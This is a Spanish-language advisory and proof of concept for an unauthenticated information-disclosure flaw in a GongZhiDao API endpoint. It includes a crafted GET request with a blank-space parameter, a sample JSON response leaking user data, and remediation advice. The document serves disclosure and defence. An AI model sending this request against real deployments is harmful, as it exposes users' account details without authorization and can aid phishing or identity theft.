
Prueba de concepto para CVE-2024-46635: una vulnerabilidad de validación de entrada incorrecta en el punto final de API del sistema GongZhiDao que expone información sensible del usuario sin autenticación.
El sistema GongZhiDao es una plataforma desarrollada por GongZhiDao. Proporciona soluciones empresariales que incluyen gestión de usuarios, análisis de datos y funcionalidades operativas. Sin embargo, se descubrió una vulnerabilidad de seguridad en uno de los endpoints de la API que podría potencialmente llevar a la exposición de información sensible de usuarios sin la autorización adecuada.
Existe una vulnerabilidad en el endpoint de la API /oaa/api/AccountMaster/GetCurrentUserInfo del sistema GongZhiDao. Al pasar %20 (un espacio codificado en URL) en lugar del parámetro UserNameOrPhoneNumber, la API responde con información sensible del usuario, incluyendo ID de cuenta, nombre de usuario y dirección de correo electrónico, incluso sin la autenticación o autorización adecuada. Esta validación de entrada inadecuada permite a los atacantes obtener acceso no autorizado a datos sensibles.
La explotación exitosa de esta vulnerabilidad podría llevar a la exposición de datos sensibles de usuarios, incluyendo:
Un atacante podría usar esta información para llevar a cabo ataques adicionales, como robo de identidad o phishing.
Para explotar la vulnerabilidad, un atacante debe enviar una solicitud HTTP GET manipulada al endpoint vulnerable de la API:
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
Esta solicitud devuelve una respuesta 200 OK con datos sensibles del usuario en formato JSON:
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber con %20 como entradaImplementar una validación de entrada adecuada: Asegúrese de que el parámetro UserNameOrPhoneNumber se sanitice y valide correctamente. Entradas como %20 deben ser rechazadas.
Verificaciones de autorización: Implemente mecanismos de autorización adecuados para garantizar que solo usuarios autenticados y autorizados puedan acceder a información sensible.
Limitación de tasa y monitoreo: Aplique limitación de tasa a los endpoints de la API para prevenir ataques de fuerza bruta o automatizados, y monitoree la actividad de la API en busca de patrones de acceso anormales.
Esta vulnerabilidad fue descubierta por hithub.